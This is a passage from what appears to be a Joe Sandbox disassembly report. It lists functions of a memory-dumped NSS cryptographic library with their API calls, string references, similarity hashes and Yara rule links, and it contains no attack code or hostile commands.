Part of subcall function 6CE83440: PK11_GetAllTokens.NSS3 ref: 6CE83481
Part of subcall function 6CE83440: PR_SetError.NSS3(00000000,00000000), ref: 6CE834A3
Part of subcall function 6CE83440: TlsGetValue.KERNEL32 ref: 6CE8352E
Part of subcall function 6CE83440: EnterCriticalSection.KERNEL32(?), ref: 6CE83542
Part of subcall function 6CE83440: PR_Unlock.NSS3(?), ref: 6CE8355B

TlsGetValue.KERNEL32 ref: 6CE83D8B
EnterCriticalSection.KERNEL32(?), ref: 6CE83D9F
PR_Unlock.NSS3(?), ref: 6CE83DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CE83DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE83E4F

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

TlsGetValue.KERNEL32 ref: 6CE83E97
EnterCriticalSection.KERNEL32(?), ref: 6CE83EAB
PR_Unlock.NSS3(?), ref: 6CE83ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CE83EEE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 623f508645c803de58428b3213d2b1c49b56150e149b0d77ddf1919d647863fc
Instruction ID: 53ae36193a993b256c786f09a6d86f00de2dc4e4dc26ea917cd1ed46980eb38c
Opcode Fuzzy Hash: 623f508645c803de58428b3213d2b1c49b56150e149b0d77ddf1919d647863fc
Instruction Fuzzy Hash: 1E515571E027009FDB51AF28D844B6A73B4AF4631CF254628DE0D57B22EB31E855CBE1

Function 6CE32C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0BCB033D), ref: 6CE32C5D

Part of subcall function 6CE90D30: calloc.MOZGLUE ref: 6CE90D50
Part of subcall function 6CE90D30: TlsGetValue.KERNEL32 ref: 6CE90D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE32C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE32CE0

Part of subcall function 6CE32E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE32CDA,?,00000000), ref: 6CE32E1E
Part of subcall function 6CE32E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE32E33
Part of subcall function 6CE32E00: TlsGetValue.KERNEL32 ref: 6CE32E4E
Part of subcall function 6CE32E00: EnterCriticalSection.KERNEL32(?), ref: 6CE32E5E
Part of subcall function 6CE32E00: PL_HashTableLookup.NSS3(?), ref: 6CE32E71
Part of subcall function 6CE32E00: PL_HashTableRemove.NSS3(?), ref: 6CE32E84
Part of subcall function 6CE32E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE32E96
Part of subcall function 6CE32E00: PR_Unlock.NSS3 ref: 6CE32EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE32D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE32D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE32D3F
free.MOZGLUE(00000000), ref: 6CE32D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE32DB8
free.MOZGLUE ref: 6CE32DC8

Part of subcall function 6CE33E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE33EC2
Part of subcall function 6CE33E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE33ED6
Part of subcall function 6CE33E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE33EEE
Part of subcall function 6CE33E60: PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE33F02
Part of subcall function 6CE33E60: PL_FreeArenaPool.NSS3 ref: 6CE33F14
Part of subcall function 6CE33E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE33F27

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 152842f7ba82ed03b62d97921c872a538cc10e634c185b9af90e416990ad1d08
Instruction ID: 9024127c6351e93a687fb508ee21a53e7df5899adf4c82a46b52bafa95e791ba
Opcode Fuzzy Hash: 152842f7ba82ed03b62d97921c872a538cc10e634c185b9af90e416990ad1d08
Instruction Fuzzy Hash: 6B51DE71A043219BDB029E29D888B6B77F5AFA424CF24042CE89987752E731F815CBD2

Function 6CE58F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE58FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE58FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE58FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE59013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE59042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE5905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE59073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE590EC

Part of subcall function 6CE20F00: PR_GetPageSize.NSS3(6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F1B
Part of subcall function 6CE20F00: PR_NewLogModule.NSS3(clock,6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE59111

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 6de9a62a638375f370d2d9299f04c3e5fc6fc5d7f2dafda4a4d39a171aaf5039
Instruction ID: 94ae9a3b472ed6f44ce2d40f235c24b89aea2dd90f43c12997ba156e95bfc1a9
Opcode Fuzzy Hash: 6de9a62a638375f370d2d9299f04c3e5fc6fc5d7f2dafda4a4d39a171aaf5039
Instruction Fuzzy Hash: FD51CFB5A042148FCF40EF38C488399BBF4BF0A318F664569DC449B715EB36E896CB91

Function 6CE37CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE340D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE33F7F,?,00000055,?,?,6CE31666,?,?), ref: 6CE340D9
Part of subcall function 6CE340D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE31666,?,?), ref: 6CE340FC
Part of subcall function 6CE340D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE31666,?,?), ref: 6CE34138

PR_GetCurrentThread.NSS3 ref: 6CE37CFD

Part of subcall function 6CEF9BF0: TlsGetValue.KERNEL32(?,?,?,6CF40A75), ref: 6CEF9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF59030), ref: 6CE37D1B

Part of subcall function 6CE8FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE31A3E,00000048,00000054), ref: 6CE8FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF59048), ref: 6CE37D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE37D50
PR_GetCurrentThread.NSS3 ref: 6CE37D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE37D7D
free.MOZGLUE(?), ref: 6CE37D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE37DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE37E19

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 5ef3cf12c75b157cc7560af58dee8d4b5f33fb0917d22eecefda8d873d3004f9
Instruction ID: 3779bc2d41f34918b4dbc290f347f527916cddd6a54ea08c5cd99ebb43a8e800
Opcode Fuzzy Hash: 5ef3cf12c75b157cc7560af58dee8d4b5f33fb0917d22eecefda8d873d3004f9
Instruction Fuzzy Hash: AC41F672A0012ADBDB018E699D41BAB33F4AF4235CF650028ED1D97B50E731F915C7A1

Function 6CE47EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE480DD), ref: 6CE47F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE480DD), ref: 6CE47F36
free.MOZGLUE(?,?,?,6CE480DD), ref: 6CE47F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE480DD), ref: 6CE47F5D
DeleteCriticalSection.KERNEL32(?,6CE480DD), ref: 6CE47F94
free.MOZGLUE(?), ref: 6CE47F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE480DD), ref: 6CE47FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE480DD), ref: 6CE47FE6
free.MOZGLUE(?,6CE480DD), ref: 6CE4802D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 731c83b45d861a7b171b70a92d00d43f062519e5ed943e32a57ab90567df8063
Instruction ID: 65c4f082efa61cece489362c2f671a654b1eee4db354d629657f353b023eef99
Opcode Fuzzy Hash: 731c83b45d861a7b171b70a92d00d43f062519e5ed943e32a57ab90567df8063
Instruction Fuzzy Hash: 41410471F222104BDF509FB8A88DB4A37B5AB47358F264229E919C3B40D736E459CBE1

Function 6CE8FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8FF00

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CE8FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CE8FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CE8FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE8FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE8FF8C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: fec57074e9eee2adade3b891877c4e87b061f5542de67d25e648b7426e6c45af
Instruction ID: d3b9720d1357cbf4016e66bb2455b17be2dd7897fca94e91be80145f1b1ac107
Opcode Fuzzy Hash: fec57074e9eee2adade3b891877c4e87b061f5542de67d25e648b7426e6c45af
Instruction Fuzzy Hash: E53124B29027129BE7108F988C42B5B76B8AF9A34CF340139ED1C9BB40EB35E914C7D1

Function 6CE93CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CE938BD), ref: 6CE93CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CE938BD), ref: 6CE93CD1

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CE938BD), ref: 6CE93CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CF6B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CE938BD), ref: 6CE93D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CE938BD), ref: 6CE93D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CF6B369,000000FF,00000000,00000000,00000000,6CE938BD), ref: 6CE93D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CE93D47
free.MOZGLUE(00000000), ref: 6CE93D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CE938BD), ref: 6CE93D6F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 860f72d58de81f30c8d3dc6a6ce80a188e08c42681a8c1ee2246d3d6c28fade7
Instruction ID: cd7989b37abc3bcc8a16135ecbbcc73885944bbb211e833d9a7c579845d525ba
Opcode Fuzzy Hash: 860f72d58de81f30c8d3dc6a6ce80a188e08c42681a8c1ee2246d3d6c28fade7
Instruction Fuzzy Hash: B021C5B5B1115237FB10667B4C19F7B35BCDB836A8B340735B839D76D0EA60C80082B1

Function 6CDD7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CDD7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD7F2E

Strings

database corruption, xrefs: 6CDD7EE2, 6CDD7F23
%s at line %d of [%.10s], xrefs: 6CDD7EE7, 6CDD7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD7ED8, 6CDD7F08, 6CDD7F19

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 6b7e62ed9de64d8e21cfc9290da6ac3f0cd2ab2e3fbedfd9d0b206e7d0b967b2
Instruction ID: 9fc7e243370d736a08cbb3e27f8d1b47c7af4111824016f64274784358903f52
Opcode Fuzzy Hash: 6b7e62ed9de64d8e21cfc9290da6ac3f0cd2ab2e3fbedfd9d0b206e7d0b967b2
Instruction Fuzzy Hash: E161B170E04206EFDB15CF25C880BAA37B2BF45308F1645A9EC195BB6AD731EC55CBA1

Function 6CDBFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDBFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDBFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDBFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDBFE83

Part of subcall function 6CDBFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDBFEFA
Part of subcall function 6CDBFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDBFF3B

Strings

database corruption, xrefs: 6CDBFD6E, 6CDBFE30
%s at line %d of [%.10s], xrefs: 6CDBFD73, 6CDBFE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDBFD64, 6CDBFE26

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 5040680ed6c89b8721eb3d04a407c24a06630d433f21d59bf597b17f36e7d92a
Instruction ID: 8b198abce1b799740564b8b1231825cdde4d5f58e5a2440eee1ee788ff647b46
Opcode Fuzzy Hash: 5040680ed6c89b8721eb3d04a407c24a06630d433f21d59bf597b17f36e7d92a
Instruction Fuzzy Hash: 215165B9A00205DFDB04CF59D8D0AAEB7B1EF48308F144469E906BB762E771EC50CBA0

Function 6CF02F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF02FFD
sqlite3_initialize.NSS3 ref: 6CF03007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF03032
sqlite3_mprintf.NSS3(6CF6AAF9,?), ref: 6CF03073
sqlite3_free.NSS3(?), ref: 6CF030B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF030C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF030BB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: d1e55ba20f23224e89478b81bc72761a023abb7d023d1ae59e7e4b52cfc388e6
Instruction ID: d327d1e611bc696a4a79acfc6e32c14befd2b5129119896a8f4b99d39a1337c4
Opcode Fuzzy Hash: d1e55ba20f23224e89478b81bc72761a023abb7d023d1ae59e7e4b52cfc388e6
Instruction Fuzzy Hash: 3D41C172701A06ABDB00CF25D890A8AB7B5FF84768F148629EC1987B40E731F959CBD1

Function 6CE85ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CE85F0A
TlsGetValue.KERNEL32 ref: 6CE85F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CE85F2F
PR_Unlock.NSS3(890008E8), ref: 6CE85F55
PR_SetError.NSS3(00000000,00000000), ref: 6CE85F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CE85F7D

Part of subcall function 6CE85220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CE85F82,8B4274C0), ref: 6CE85248
Part of subcall function 6CE85220: EnterCriticalSection.KERNEL32(0F6CF50D,?,6CE85F82,8B4274C0), ref: 6CE8525C
Part of subcall function 6CE85220: PR_SetError.NSS3(00000000,00000000), ref: 6CE8528E
Part of subcall function 6CE85220: PR_Unlock.NSS3(0F6CF4F1), ref: 6CE85299
Part of subcall function 6CE85220: free.MOZGLUE(00000000), ref: 6CE852A9

Strings

q]l, xrefs: 6CE85EDB, 6CE85F09

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 20be90dec69f1ebc4f1433041c0c54f63b11c712672d8dfeffe5ad25423c9664
Instruction ID: 53abd6326b79336e93d3c7dcc813d2177bf3c61f0d19769b5a47dc2e823b1a66
Opcode Fuzzy Hash: 20be90dec69f1ebc4f1433041c0c54f63b11c712672d8dfeffe5ad25423c9664
Instruction Fuzzy Hash: FA21E7B5D012049FEB10AF64DC45BEEB7B4EF09318F64412DE90AA7741EB31A958CBD1

